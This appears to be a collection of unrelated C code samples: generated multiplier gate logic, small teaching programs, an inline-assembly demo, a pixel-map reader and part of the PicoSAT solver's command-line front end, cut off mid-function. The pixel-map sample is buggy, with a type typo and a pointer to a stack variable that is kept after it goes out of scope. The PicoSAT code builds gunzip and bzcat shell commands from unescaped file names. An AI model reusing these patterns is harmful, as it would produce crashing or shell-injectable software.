uint8_t h_u_csabam8_rca_h1_v10_and7_3 = 0;
uint8_t h_u_csabam8_rca_h1_v10_and6_4 = 0;
uint8_t h_u_csabam8_rca_h1_v10_ha6_4_xor0 = 0;
uint8_t h_u_csabam8_rca_h1_v10_ha6_4_and0 = 0;
uint8_t h_u_csabam8_rca_h1_v10_and7_4 = 0;
uint8_t h_u_csabam8_rca_h1_v10_and5_5 = 0;
uint8_t h_u_csabam8_rca_h1_v10_ha5_5_xor0 = 0;
uint8_t h_u_csabam8_rca_h1_v10_ha5_5_and0 = 0;
uint8_t h_u_csabam8_rca_h1_v10_and6_5 = 0;
uint8_t h_u_csabam8_rca_h1_v10_fa6_5_xor1 = 0;
uint8_t h_u_csabam8_rca_h1_v10_fa6_5_or0 = 0;
uint8_t h_u_csabam8_rca_h1_v10_and7_5 = 0;
uint8_t h_u_csabam8_rca_h1_v10_and4_6 = 0;
uint8_t h_u_csabam8_rca_h1_v10_ha4_6_xor0 = 0;
uint8_t h_u_csabam8_rca_h1_v10_ha4_6_and0 = 0;
uint8_t h_u_csabam8_rca_h1_v10_and5_6 = 0;
uint8_t h_u_csabam8_rca_h1_v10_fa5_6_xor1 = 0;
uint8_t h_u_csabam8_rca_h1_v10_fa5_6_or0 = 0;
uint8_t h_u_csabam8_rca_h1_v10_and6_6 = 0;
uint8_t h_u_csabam8_rca_h1_v10_fa6_6_xor1 = 0;
uint8_t h_u_csabam8_rca_h1_v10_fa6_6_or0 = 0;
uint8_t h_u_csabam8_rca_h1_v10_and7_6 = 0;
uint8_t h_u_csabam8_rca_h1_v10_and3_7 = 0;
uint8_t h_u_csabam8_rca_h1_v10_ha3_7_xor0 = 0;
uint8_t h_u_csabam8_rca_h1_v10_ha3_7_and0 = 0;
uint8_t h_u_csabam8_rca_h1_v10_and4_7 = 0;
uint8_t h_u_csabam8_rca_h1_v10_fa4_7_xor1 = 0;
uint8_t h_u_csabam8_rca_h1_v10_fa4_7_or0 = 0;
uint8_t h_u_csabam8_rca_h1_v10_and5_7 = 0;
uint8_t h_u_csabam8_rca_h1_v10_fa5_7_xor1 = 0;
uint8_t h_u_csabam8_rca_h1_v10_fa5_7_or0 = 0;
uint8_t h_u_csabam8_rca_h1_v10_and6_7 = 0;
uint8_t h_u_csabam8_rca_h1_v10_fa6_7_xor1 = 0;
uint8_t h_u_csabam8_rca_h1_v10_fa6_7_or0 = 0;
uint8_t h_u_csabam8_rca_h1_v10_and7_7 = 0;
uint64_t h_u_csabam8_rca_h1_v10_u_rca5_a = 0;
uint64_t h_u_csabam8_rca_h1_v10_u_rca5_b = 0;
uint64_t h_u_csabam8_rca_h1_v10_u_rca5_out = 0;
h_u_csabam8_rca_h1_v10_and7_3 = and_gate(((a >> 7) & 0x01), ((b >> 3) & 0x01));
h_u_csabam8_rca_h1_v10_and6_4 = and_gate(((a >> 6) & 0x01), ((b >> 4) & 0x01));
h_u_csabam8_rca_h1_v10_ha6_4_xor0 = (ha(((h_u_csabam8_rca_h1_v10_and6_4 >> 0) & 0x01), ((h_u_csabam8_rca_h1_v10_and7_3 >> 0) & 0x01)) >> 0) & 0x01;
h_u_csabam8_rca_h1_v10_ha6_4_and0 = (ha(((h_u_csabam8_rca_h1_v10_and6_4 >> 0) & 0x01), ((h_u_csabam8_rca_h1_v10_and7_3 >> 0) & 0x01)) >> 1) & 0x01;
h_u_csabam8_rca_h1_v10_and7_4 = and_gate(((a >> 7) & 0x01), ((b >> 4) & 0x01));
h_u_csabam8_rca_h1_v10_and5_5 = and_gate(((a >> 5) & 0x01), ((b >> 5) & 0x01));
h_u_csabam8_rca_h1_v10_ha5_5_xor0 = (ha(((h_u_csabam8_rca_h1_v10_and5_5 >> 0) & 0x01), ((h_u_csabam8_rca_h1_v10_ha6_4_xor0 >> 0) & 0x01)) >> 0) & 0x01;
h_u_csabam8_rca_h1_v10_ha5_5_and0 = (ha(((h_u_csabam8_rca_h1_v10_and5_5 >> 0) & 0x01), ((h_u_csabam8_rca_h1_v10_ha6_4_xor0 >> 0) & 0x01)) >> 1) & 0x01;
h_u_csabam8_rca_h1_v10_and6_5 = and_gate(((a >> 6) & 0x01), ((b >> 5) & 0x01));
h_u_csabam8_rca_h1_v10_fa6_5_xor1 = (fa(((h_u_csabam8_rca_h1_v10_and6_5 >> 0) & 0x01), ((h_u_csabam8_rca_h1_v10_and7_4 >> 0) & 0x01), ((h_u_csabam8_rca_h1_v10_ha6_4_and0 >> 0) & 0x01)) >> 0) & 0x01;
h_u_csabam8_rca_h1_v10_fa6_5_or0 = (fa(((h_u_csabam8_rca_h1_v10_and6_5 >> 0) & 0x01), ((h_u_csabam8_rca_h1_v10_and7_4 >> 0) & 0x01), ((h_u_csabam8_rca_h1_v10_ha6_4_and0 >> 0) & 0x01)) >> 1) & 0x01;
h_u_csabam8_rca_h1_v10_and7_5 = and_gate(((a >> 7) & 0x01), ((b >> 5) & 0x01));
h_u_csabam8_rca_h1_v10_and4_6 = and_gate(((a >> 4) & 0x01), ((b >> 6) & 0x01));
h_u_csabam8_rca_h1_v10_ha4_6_xor0 = (ha(((h_u_csabam8_rca_h1_v10_and4_6 >> 0) & 0x01), ((h_u_csabam8_rca_h1_v10_ha5_5_xor0 >> 0) & 0x01)) >> 0) & 0x01;
h_u_csabam8_rca_h1_v10_ha4_6_and0 = (ha(((h_u_csabam8_rca_h1_v10_and4_6 >> 0) & 0x01), ((h_u_csabam8_rca_h1_v10_ha5_5_xor0 >> 0) & 0x01)) >> 1) & 0x01;
h_u_csabam8_rca_h1_v10_and5_6 = and_gate(((a >> 5) & 0x01), ((b >> 6) & 0x01));
h_u_csabam8_rca_h1_v10_fa5_6_xor1 = (fa(((h_u_csabam8_rca_h1_v10_and5_6 >> 0) & 0x01), ((h_u_csabam8_rca_h1_v10_fa6_5_xor1 >> 0) & 0x01), ((h_u_csabam8_rca_h1_v10_ha5_5_and0 >> 0) & 0x01)) >> 0) & 0x01;
h_u_csabam8_rca_h1_v10_fa5_6_or0 = (fa(((h_u_csabam8_rca_h1_v10_and5_6 >> 0) & 0x01), ((h_u_csabam8_rca_h1_v10_fa6_5_xor1 >> 0) & 0x01), ((h_u_csabam8_rca_h1_v10_ha5_5_and0 >> 0) & 0x01)) >> 1) & 0x01;
h_u_csabam8_rca_h1_v10_and6_6 = and_gate(((a >> 6) & 0x01), ((b >> 6) & 0x01));
h_u_csabam8_rca_h1_v10_fa6_6_xor1 = (fa(((h_u_csabam8_rca_h1_v10_and6_6 >> 0) & 0x01), ((h_u_csabam8_rca_h1_v10_and7_5 >> 0) & 0x01), ((h_u_csabam8_rca_h1_v10_fa6_5_or0 >> 0) & 0x01)) >> 0) & 0x01;
h_u_csabam8_rca_h1_v10_fa6_6_or0 = (fa(((h_u_csabam8_rca_h1_v10_and6_6 >> 0) & 0x01), ((h_u_csabam8_rca_h1_v10_and7_5 >> 0) & 0x01), ((h_u_csabam8_rca_h1_v10_fa6_5_or0 >> 0) & 0x01)) >> 1) & 0x01;
h_u_csabam8_rca_h1_v10_and7_6 = and_gate(((a >> 7) & 0x01), ((b >> 6) & 0x01));
h_u_csabam8_rca_h1_v10_and3_7 = and_gate(((a >> 3) & 0x01), ((b >> 7) & 0x01));
h_u_csabam8_rca_h1_v10_ha3_7_xor0 = (ha(((h_u_csabam8_rca_h1_v10_and3_7 >> 0) & 0x01), ((h_u_csabam8_rca_h1_v10_ha4_6_xor0 >> 0) & 0x01)) >> 0) & 0x01;
h_u_csabam8_rca_h1_v10_ha3_7_and0 = (ha(((h_u_csabam8_rca_h1_v10_and3_7 >> 0) & 0x01), ((h_u_csabam8_rca_h1_v10_ha4_6_xor0 >> 0) & 0x01)) >> 1) & 0x01;
h_u_csabam8_rca_h1_v10_and4_7 = and_gate(((a >> 4) & 0x01), ((b >> 7) & 0x01));
h_u_csabam8_rca_h1_v10_fa4_7_xor1 = (fa(((h_u_csabam8_rca_h1_v10_and4_7 >> 0) & 0x01), ((h_u_csabam8_rca_h1_v10_fa5_6_xor1 >> 0) & 0x01), ((h_u_csabam8_rca_h1_v10_ha4_6_and0 >> 0) & 0x01)) >> 0) & 0x01;
h_u_csabam8_rca_h1_v10_fa4_7_or0 = (fa(((h_u_csabam8_rca_h1_v10_and4_7 >> 0) & 0x01), ((h_u_csabam8_rca_h1_v10_fa5_6_xor1 >> 0) & 0x01), ((h_u_csabam8_rca_h1_v10_ha4_6_and0 >> 0) & 0x01)) >> 1) & 0x01;
h_u_csabam8_rca_h1_v10_and5_7 = and_gate(((a >> 5) & 0x01), ((b >> 7) & 0x01));
h_u_csabam8_rca_h1_v10_fa5_7_xor1 = (fa(((h_u_csabam8_rca_h1_v10_and5_7 >> 0) & 0x01), ((h_u_csabam8_rca_h1_v10_fa6_6_xor1 >> 0) & 0x01), ((h_u_csabam8_rca_h1_v10_fa5_6_or0 >> 0) & 0x01)) >> 0) & 0x01;
h_u_csabam8_rca_h1_v10_fa5_7_or0 = (fa(((h_u_csabam8_rca_h1_v10_and5_7 >> 0) & 0x01), ((h_u_csabam8_rca_h1_v10_fa6_6_xor1 >> 0) & 0x01), ((h_u_csabam8_rca_h1_v10_fa5_6_or0 >> 0) & 0x01)) >> 1) & 0x01;
h_u_csabam8_rca_h1_v10_and6_7 = and_gate(((a >> 6) & 0x01), ((b >> 7) & 0x01));
h_u_csabam8_rca_h1_v10_fa6_7_xor1 = (fa(((h_u_csabam8_rca_h1_v10_and6_7 >> 0) & 0x01), ((h_u_csabam8_rca_h1_v10_and7_6 >> 0) & 0x01), ((h_u_csabam8_rca_h1_v10_fa6_6_or0 >> 0) & 0x01)) >> 0) & 0x01;
h_u_csabam8_rca_h1_v10_fa6_7_or0 = (fa(((h_u_csabam8_rca_h1_v10_and6_7 >> 0) & 0x01), ((h_u_csabam8_rca_h1_v10_and7_6 >> 0) & 0x01), ((h_u_csabam8_rca_h1_v10_fa6_6_or0 >> 0) & 0x01)) >> 1) & 0x01;
h_u_csabam8_rca_h1_v10_and7_7 = and_gate(((a >> 7) & 0x01), ((b >> 7) & 0x01));
h_u_csabam8_rca_h1_v10_u_rca5_a |= ((h_u_csabam8_rca_h1_v10_fa4_7_xor1 >> 0) & 0x01ull) << 0;
h_u_csabam8_rca_h1_v10_u_rca5_a |= ((h_u_csabam8_rca_h1_v10_fa5_7_xor1 >> 0) & 0x01ull) << 1;
h_u_csabam8_rca_h1_v10_u_rca5_a |= ((h_u_csabam8_rca_h1_v10_fa6_7_xor1 >> 0) & 0x01ull) << 2;
h_u_csabam8_rca_h1_v10_u_rca5_a |= ((h_u_csabam8_rca_h1_v10_and7_7 >> 0) & 0x01ull) << 3;
h_u_csabam8_rca_h1_v10_u_rca5_a |= (0x00) << 4;
h_u_csabam8_rca_h1_v10_u_rca5_b |= (0x00) << 0;
h_u_csabam8_rca_h1_v10_u_rca5_b |= ((h_u_csabam8_rca_h1_v10_fa4_7_or0 >> 0) & 0x01ull) << 1;
h_u_csabam8_rca_h1_v10_u_rca5_b |= ((h_u_csabam8_rca_h1_v10_fa5_7_or0 >> 0) & 0x01ull) << 2;
h_u_csabam8_rca_h1_v10_u_rca5_b |= ((h_u_csabam8_rca_h1_v10_fa6_7_or0 >> 0) & 0x01ull) << 3;
h_u_csabam8_rca_h1_v10_u_rca5_b |= (0x00) << 4;
h_u_csabam8_rca_h1_v10_u_rca5_out = u_rca5(h_u_csabam8_rca_h1_v10_u_rca5_a, h_u_csabam8_rca_h1_v10_u_rca5_b);
h_u_csabam8_rca_h1_v10_out |= (0x00) << 0;
h_u_csabam8_rca_h1_v10_out |= (0x00) << 1;
h_u_csabam8_rca_h1_v10_out |= (0x00) << 2;
h_u_csabam8_rca_h1_v10_out |= (0x00) << 3;
h_u_csabam8_rca_h1_v10_out |= (0x00) << 4;
h_u_csabam8_rca_h1_v10_out |= (0x00) << 5;
h_u_csabam8_rca_h1_v10_out |= (0x00) << 6;
h_u_csabam8_rca_h1_v10_out |= (0x00) << 7;
h_u_csabam8_rca_h1_v10_out |= (0x00) << 8;
h_u_csabam8_rca_h1_v10_out |= (0x00) << 9;
h_u_csabam8_rca_h1_v10_out |= ((h_u_csabam8_rca_h1_v10_u_rca5_out >> 0) & 0x01ull) << 10;
h_u_csabam8_rca_h1_v10_out |= ((h_u_csabam8_rca_h1_v10_u_rca5_out >> 1) & 0x01ull) << 11;
h_u_csabam8_rca_h1_v10_out |= ((h_u_csabam8_rca_h1_v10_u_rca5_out >> 2) & 0x01ull) << 12;
h_u_csabam8_rca_h1_v10_out |= ((h_u_csabam8_rca_h1_v10_u_rca5_out >> 3) & 0x01ull) << 13;
h_u_csabam8_rca_h1_v10_out |= ((h_u_csabam8_rca_h1_v10_u_rca5_out >> 4) & 0x01ull) << 14;
h_u_csabam8_rca_h1_v10_out |= (0x00) << 15;
return h_u_csabam8_rca_h1_v10_out;
}
|
C
|
#include <stdio.h>
int main(){
int N = 0;
int arr[105];
while (scanf("%d", &arr[N]) != EOF){
N++;
}
N--;
while (N >= 0)
{
printf("%d\n", arr[N]);
N--;
}
}
|
C
|
#include <stdio.h>
int main()
{
/* Assume name shorter than 20 chars. */
char ex[20];
puts("Enter boyfriend's name: ");
scanf("%19s", ex);
printf("Dear %s.\n\n\t You're history.\n", ex);
return 0;
}
|
C
|
#include <stdio.h>
int main()
{
int no = 100, val ;
asm ("movl %1, %%ebx;"
"movl %%ebx, %0;"
: "=r" ( val ) /* output */
: "r" ( no ) /* input */
: "%ebx" /* clobbered register */
);
printf("val=%d\n", val);
}
|
C
|
#include "pixel_map.h"
int read_pixel_8bit(int fd, struct pixel_map *map)
{
struct pixel_8bit pixel;
if (read(fd, &pixel.color, 1) != 1)
return -1;
push_pixel_8bit(map, &pixel);
return 1;
}
void push_pixel_8bit(struct pixel_map* map, struct pixel_8bit *pixel)
{
*(map->data_store_8bit + map->size) = pixel;
map->size++;
return;
}
int read_pixel_map_8bit(int fd, struct pixel_map* map, int count)
{
int i;
map->data_store_8bit = malloc(count * sizeof(struct pxiel_8bit*));
for (i = 0; i < count; i++) {
read_pixel_8bit(fd, map);
}
return i;
}
int read_pixel_map(int fd, struct pixel_map* map, int width, int height, int size)
{
int num_pixels, bit_depth; //size in bytes vs num pixels
num_pixels = width * height;
bit_depth = ((size * 8) / num_pixels);
if (bit_depth == 8)
return read_pixel_map_8bit(fd, map, num_pixels);
return -1;
}
void print_8bit_color(struct pixel_8bit *pixel)
{
printf("color: %02x ", pixel->color);
}
void print_8bit_pixel_map(struct pixel_map* map) {
int i;
printf("8-Bit Pixel Map: %d\n", map->size);
for (i = 0; i < map->size; i++) {
print_8bit_color((struct pixel_8bit*)map->data_store_8bit + i);
}
};
void deallocate_8bit_pixel_map(struct pixel_map* map)
{
free(map->data_store_8bit);
map->data_store_8bit = NULL;
return;
}
|
C
|
#include "picosat.h"
#include <assert.h>
#include <string.h>
#include <ctype.h>
#include <stdio.h>
#define GUNZIP "gunzip -c %s"
#define BUNZIP2 "bzcat %s"
#define GZIP "gzip -c -f > %s"
FILE * popen (const char *, const char*);
int pclose (FILE *);
static int lineno;
static FILE *input;
static int inputid;
static FILE *output;
static int verbose;
static int sargc;
static char ** sargv;
static char buffer[100];
static char *bhead = buffer;
static const char *eob = buffer + 80;
static FILE * incremental_rup_file;
static signed char * sol;
extern void picosat_enter (PicoSAT *);
extern void picosat_leave (PicoSAT *);
static int
next (void)
{
int res = getc (input);
if (res == '\n')
lineno++;
return res;
}
static const char *
parse (PicoSAT * picosat, int force)
{
int ch, sign, lit, vars, clauses;
lineno = 1;
inputid = fileno (input);
SKIP_COMMENTS:
ch = next ();
if (ch == 'c')
{
while ((ch = next ()) != EOF && ch != '\n')
;
goto SKIP_COMMENTS;
}
if (isspace (ch))
goto SKIP_COMMENTS;
if (ch != 'p')
INVALID_HEADER:
return "missing or invalid 'p cnf <variables> <clauses>' header";
if (!isspace (next ()))
goto INVALID_HEADER;
while (isspace (ch = next ()))
;
if (ch != 'c' || next () != 'n' || next () != 'f' || !isspace (next ()))
goto INVALID_HEADER;
while (isspace (ch = next ()))
;
if (!isdigit (ch))
goto INVALID_HEADER;
vars = ch - '0';
while (isdigit (ch = next ()))
vars = 10 * vars + (ch - '0');
if (!isspace (ch))
goto INVALID_HEADER;
while (isspace (ch = next ()))
;
if (!isdigit (ch))
goto INVALID_HEADER;
clauses = ch - '0';
while (isdigit (ch = next ()))
clauses = 10 * clauses + (ch - '0');
if (!isspace (ch) && ch != '\n' )
goto INVALID_HEADER;
if (verbose)
{
fprintf (output, "c parsed header 'p cnf %d %d'\n", vars, clauses);
fflush (output);
}
picosat_adjust (picosat, vars);
if (incremental_rup_file)
picosat_set_incremental_rup_file (picosat, incremental_rup_file, vars, clauses);
lit = 0;
READ_LITERAL:
ch = next ();
if (ch == 'c')
{
while ((ch = next ()) != EOF && ch != '\n')
;
goto READ_LITERAL;
}
if (ch == EOF)
{
if (lit)
return "trailing 0 missing";
if (clauses && !force)
return "clause missing";
return 0;
}
if (isspace (ch))
goto READ_LITERAL;
sign = 1;
if (ch == '-')
{
sign = -1;
ch = next ();
}
if (!isdigit (ch))
return "expected number";
lit = ch - '0';
while (isdigit (ch = next ()))
lit = 10 * lit + (ch - '0');
if (!clauses && !force)
return "too many clauses";
if (lit)
{
if (lit > vars && !force)
return "maximal variable index exceeded";
lit *= sign;
}
else
clauses--;
picosat_add (picosat, lit);
goto READ_LITERAL;
}
static void
bflush (void)
{
*bhead = 0;
fputs (buffer, output);
fputc ('\n', output);
bhead = buffer;
}
static void
printi (int i)
{
char *next;
int l;
REENTER:
if (bhead == buffer)
*bhead++ = 'v';
l = sprintf (bhead, " %d", i);
next = bhead + l;
if (next >= eob)
{
bflush ();
goto REENTER;
}
else
bhead = next;
}
static void
printa (PicoSAT * picosat, int partial)
{
int max_idx = picosat_variables (picosat), i, lit, val;
assert (bhead == buffer);
for (i = 1; i <= max_idx; i++)
{
if (partial)
{
val = picosat_deref_partial (picosat, i);
if (!val)
continue;
}
else
val = picosat_deref (picosat, i);
lit = (val > 0) ? i : -i;
printi (lit);
}
printi (0);
if (bhead > buffer)
bflush ();
}
static void
blocksol (PicoSAT * picosat)
{
int max_idx = picosat_variables (picosat), i;
if (!sol)
{
sol = malloc (max_idx + 1);
memset (sol, 0, max_idx + 1);
}
for (i = 1; i <= max_idx; i++)
sol[i] = (picosat_deref (picosat, i) > 0) ? 1 : -1;
for (i = 1; i <= max_idx; i++)
picosat_add (picosat, (sol[i] < 0) ? i : -i);
picosat_add (picosat, 0);
}
static int
has_suffix (const char *str, const char *suffix)
{
const char *tmp = strstr (str, suffix);
if (!tmp)
return 0;
return str + strlen (str) - strlen (suffix) == tmp;
}
static void
write_core_variables (PicoSAT * picosat, FILE * file)
{
int i, max_idx = picosat_variables (picosat), count = 0;
for (i = 1; i <= max_idx; i++)
if (picosat_corelit (picosat, i))
{
fprintf (file, "%d\n", i);
count++;
}
if (verbose)
fprintf (output, "c found and wrote %d core variables\n", count);
}
static int
next_assumption (int start)
{
char * arg, c;
int res;
res = start + 1;
while (res < sargc)
{
arg = sargv[res++];
if (!strcmp (arg, "-a"))
{
assert (res < sargc);
break;
}
if (arg[0] == '-') {
c = arg[1];
if (c == 'l' || c == 'i' || c == 's' || c == 'o' || c == 't' ||
c == 'T' || c == 'r' || c == 'R' || c == 'c' || c == 'V' ||
c == 'U' || c == 'A') res++;
}
}
if (res >= sargc) res = 0;
return res;
}
static void
write_failed_assumptions (PicoSAT * picosat, FILE * file)
{
int i, lit, count = 0;
#ifndef NDEBUG
int max_idx = picosat_variables (picosat);
#endif
i = 0;
while ((i = next_assumption (i))) {
lit = atoi (sargv[i]);
if (!picosat_failed_assumption (picosat, lit)) continue;
fprintf (file, "%d\n", lit);
count++;
}
if (verbose)
fprintf (output, "c found and wrote %d failed assumptions\n", count);
#ifndef NDEBUG
for (i = 1; i <= max_idx; i++)
if (picosat_failed_assumption (picosat, i))
count--;
#endif
assert (!count);
}
static void
write_to_file (PicoSAT * picosat,
const char *name,
const char *type,
void (*writer) (PicoSAT *, FILE *))
{
int pclose_file, zipped = has_suffix (name, ".gz");
FILE *file;
char *cmd;
if (zipped)
{
cmd = malloc (strlen (GZIP) + strlen (name));
sprintf (cmd, GZIP, name);
file = popen (cmd, "w");
free (cmd);
pclose_file = 1;
}
else
{
file = fopen (name, "w");
pclose_file = 0;
}
if (file)
{
if (verbose)
fprintf (output,
"c\nc writing %s%s to '%s'\n",
zipped ? "gzipped " : "", type, name);
writer (picosat, file);
if (pclose_file)
pclose (file);
else
fclose (file);
}
else
fprintf (output, "*** picosat: can not write to '%s'\n", name);
}
#define USAGE \
"usage: picosat [ <option> ... ] [ <input> ]\n" \
"\n" \
"where <option> is one of the following\n" \
"\n" \
" -h print this command line option summary and exit\n" \
" --version print version and exit\n" \
" --config print build configuration and exit\n" \
"\n" \
" -v enable verbose output\n" \
" -f ignore invalid header\n" \
" -n do not print satisfying assignment\n" \
" -p print formula in DIMACS format and exit\n" \
" --plain disable preprocessing (failed literal probing)\n" \
" -a <lit> start with an assumption\n" \
" -l <limit> set decision limit (no limit per default)\n" \
" -P <limit> set propagation limit (no limit per default)\n" \
" -i [0-3] [0-3]=[FALSE,TRUE,JWH,RAND] initial phase (default 2=JWH)\n" \
" -s <seed> set random number generator seed (default 0)\n" \
" -o <output> set output file (<stdout> per default)\n" \
" -t <trace> generate compact proof trace file\n" \
" -T <trace> generate extended proof trace file\n" \
" -r <trace> generate reverse unit propagation proof file\n" \
" -R <trace> generate reverse unit propagation proof file incrementally\n" \
" -c <core> generate clausal core file in DIMACS format\n" \
" -V <core> generate file listing core variables\n" \
" -U <core> generate file listing used variables\n" \
" -A <core> generate file listing failed assumptions\n" \
"\n" \
" --all enumerate all solutions\n" \
" --partial generate and print only partial assignment\n" \
"\n" \
"and <input> is an optional input file in DIMACS format.\n"
int
picosat_main (PicoSAT ** psptr, int argc, char **argv)
{
int res, done, err, print_satisfying_assignment, force, print_formula;
const char *compact_trace_name, *extended_trace_name, * rup_trace_name;
int assumption, assumptions, defaultphase, allsat, partial, plain;
const char * clausal_core_name, * variable_core_name;
const char *input_name, *output_name;
const char * failed_assumptions_name;
int close_input, pclose_input;
long long propagation_limit;
int i, decision_limit;
double start_time;
long long sols;
unsigned seed;
FILE *file;
int trace;
PicoSAT * picosat;
start_time = picosat_time_stamp ();
sargc = argc;
sargv = argv;
clausal_core_name = 0;
variable_core_name = 0;
failed_assumptions_name = 0;
output_name = 0;
compact_trace_name = 0;
extended_trace_name = 0;
rup_trace_name = 0;
incremental_rup_file = 0;
close_input = 0;
pclose_input = 0;
input_name = "<stdin>";
input = stdin;
output = stdout;
verbose = 0;
done = err = 0;
decision_limit = -1;
propagation_limit = -1;
defaultphase = 2;
assumptions = 0;
force = 0;
allsat = 0;
partial = 0;
trace = 0;
plain = 0;
seed = 0;
sols= 0;
picosat = 0;
if (psptr)
*psptr = 0;
print_satisfying_assignment = 1;
print_formula = 0;
for (i = 1; !done && !err && i < argc; i++)
{
if (!strcmp (argv[i], "-h"))
{
fputs (USAGE, output);
done = 1;
}
else if (!strcmp (argv[i], "--version"))
{
fprintf (output, "%s\n", picosat_version ());
done = 1;
}
else if (!strcmp (argv[i], "--config"))
{
fprintf (output, "%s\n", picosat_config ());
done = 1;
}
else if (!strcmp (argv[i], "-v"))
{
verbose++;
}
else if (!strcmp (argv[i], "--plain"))
{
plain = 1;
}
else if (!strcmp (argv[i], "-f"))
{
force = 1;
}
else if (!strcmp (argv[i], "-n"))
{
print_satisfying_assignment = 0;
}
else if (!strcmp (argv[i], "--partial"))
{
partial = 1;
}
else if (!strcmp (argv[i], "-p"))
{
print_formula = 1;
}
else if (!strcmp (argv[i], "-l"))
{
if (++i == argc)
{
fprintf (output, "*** picosat: argument to '-l' missing\n");
err = 1;
}
else
decision_limit = atoi (argv[i]);
}
else if (!strcmp (argv[i], "-P"))
{
if (++i == argc)
{
fprintf (output, "*** picosat: argument to '-P' missing\n");
err = 1;
}
else
propagation_limit = atoll (argv[i]);
}
else if (!strcmp (argv[i], "-i"))
{
if (++i == argc)
{
fprintf (output, "*** picosat: argument to '-i' missing\n");
err = 1;
}
else if (!argv[i][1] && ('0' <= argv[i][0] && argv[i][0] <= '3'))
{
defaultphase = argv[i][0] - '0';
}
else
{
fprintf (output, "*** picosat: invalid argument to '-i'\n");
err = 1;
}
}
else if (!strcmp (argv[i], "-a"))
{
if (++i == argc)
{
fprintf (output, "*** picosat: argument to '-a' missing\n");
err = 1;
}
else if (!atoi (argv[i]))
{
fprintf (output, "*** picosat: argument to '-a' zero\n");
err = 1;
}
else
{
/* Handle assumptions further down
*/
assumptions++;
}
}
else if (!strcmp (argv[i], "--all"))
{
allsat = 1;
}
else if (!strcmp (argv[i], "-s"))
{
if (++i == argc)
{
fprintf (output, "*** picosat: argument to '-s' missing\n");
err = 1;
}
else
seed = atoi (argv[i]);
}
else if (!strcmp (argv[i], "-o"))
{
if (output_name)
{
fprintf (output,
"*** picosat: "
"multiple output files '%s' and '%s'\n",
output_name, argv[i]);
err = 1;
}
else if (++i == argc)
{
fprintf (output, "*** picosat: argument ot '-o' missing\n");
err = 1;
}
else if (!(file = fopen (argv[i], "w")))
{
fprintf (output,
"*** picosat: "
"can not write output file '%s'\n", argv[i]);
err = 1;
}
else
{
output_name = argv[i];
output = file;
}
}
else if (!strcmp (argv[i], "-t"))
{
if (compact_trace_name)
{
fprintf (output,
"*** picosat: "
"multiple compact trace files '%s' and '%s'\n",
compact_trace_name, argv[i]);
err = 1;
}
else if (++i == argc)
{
fprintf (output, "*** picosat: argument ot '-t' missing\n");
err = 1;
}
else
{
compact_trace_name = argv[i];
trace = 1;
}
}
else if (!strcmp (argv[i], "-T"))
{
if (extended_trace_name)
{
fprintf (output,
"*** picosat: "
"multiple extended trace files '%s' and '%s'\n",
extended_trace_name, argv[i]);
err = 1;
}
else if (++i == argc)
{
fprintf (output, "*** picosat: argument ot '-T' missing\n");
err = 1;
}
else
{
extended_trace_name = argv[i];
trace = 1;
}
}
else if (!strcmp (argv[i], "-r"))
{
if (rup_trace_name)
{
fprintf (output,
"*** picosat: "
"multiple RUP trace files '%s' and '%s'\n",
rup_trace_name, argv[i]);
err = 1;
}
else if (++i == argc)
{
fprintf (output, "*** picosat: argument ot '-r' missing\n");
err = 1;
}
else
{
rup_trace_name = argv[i];
trace = 1;
}
}
else if (!strcmp (argv[i], "-R"))
{
if (rup_trace_name)
{
fprintf (output,
"*** picosat: "
"multiple RUP trace files '%s' and '%s'\n",
rup_trace_name, argv[i]);
err = 1;
}
else if (++i == argc)
{
fprintf (output, "*** picosat: argument ot '-R' missing\n");
err = 1;
}
else if (!(file = fopen (argv[i], "w")))
{
fprintf (output,
"*** picosat: can not write to '%s'\n", argv[i]);
err = 1;
}
else
{
rup_trace_name = argv[i];
incremental_rup_file = file;
}
}
else if (!strcmp (argv[i], "-c"))
{
if (clausal_core_name)
{
fprintf (output,
"*** picosat: "
"multiple clausal core files '%s' and '%s'\n",
clausal_core_name, argv[i]);
err = 1;
}
else if (++i == argc)
{
fprintf (output, "*** picosat: argument ot '-c' missing\n");
err = 1;
}
else
{
clausal_core_name = argv[i];
trace = 1;
}
}
else if (!strcmp (argv[i], "-V"))
{
if (variable_core_name)
{
fprintf (output,
"*** picosat: "
"multiple variable core files '%s' and '%s'\n",
variable_core_name, argv[i]);
err = 1;
}
else if (++i == argc)
{
fprintf (output, "*** picosat: argument ot '-V' missing\n");
err = 1;
}
else
{
variable_core_name = argv[i];
trace = 1;
}
}
else if (!strcmp (argv[i], "-A"))
{
if (failed_assumptions_name)
{
fprintf (output,
"*** picosat: "
"multiple failed assumptions files '%s' and '%s'\n",
failed_assumptions_name, argv[i]);
err = 1;
}
else if (++i == argc)
{
fprintf (output, "*** picosat: argument ot '-A' missing\n");
err = 1;
}
else
failed_assumptions_name = argv[i];
}
else if (argv[i][0] == '-')
{
fprintf (output,
"*** picosat: "
"unknown command line option '%s' (try '-h')\n", argv[i]);
err = 1;
}
else if (close_input || pclose_input)
{
fprintf (output,
"*** picosat: "
"multiple input files '%s' and '%s'\n",
input_name, argv[i]);
err = 1;
}
else if (has_suffix (argv[i], ".gz"))
{
char *cmd = malloc (strlen (GUNZIP) + strlen (argv[i]));
sprintf (cmd, GUNZIP, argv[i]);
if ((file = popen (cmd, "r")))
{
input_name = argv[i];
pclose_input = 1;
input = file;
}
else
{
fprintf (output,
"*** picosat: "
"can not read compressed input file '%s'\n", argv[i]);
err = 1;
}
free (cmd);
}
else if (has_suffix (argv[i], ".bz2"))
{
char *cmd = malloc (strlen (BUNZIP2) + strlen (argv[i]));
sprintf (cmd, BUNZIP2, argv[i]);
if ((file = popen (cmd, "r")))
{
input_name = argv[i];
pclose_input = 1;
input = file;
}
else
{
fprintf (output,
"*** picosat: "
"can not read compressed input file '%s'\n", argv[i]);
err = 1;
}
free (cmd);
}
else if (!(file = fopen (argv[i], "r"))) /* TODO .gz ? */
{
fprintf (output,
"*** picosat: can not read input file '%s'\n", argv[i]);
err = 1;
}
else
{
input_name = argv[i];
close_input = 1;
input = file;
}
}
if (allsat && partial)
{
fprintf (output,
"*** picosat: can not combine '--all' and '--partial'");
err = 1;
}
res = PICOSAT_UNKNOWN;
if (!done && !err)
{
const char *err_msg;
if (verbose)
{
fprintf (output,
"c PicoSAT SAT Solver Version %s\n",
picosat_version ());
fprintf (output, "c %s\n", picosat_copyright ());
fprintf (output, "c %s\n", picosat_config ());
}
picosat = picosat_init ();
if (psptr)
*psptr = picosat;
picosat_enter (picosat);
if (output_name)
picosat_set_output (picosat, output);
picosat_set_verbosity (picosat, verbose);
picosat_set_plain (picosat, plain);
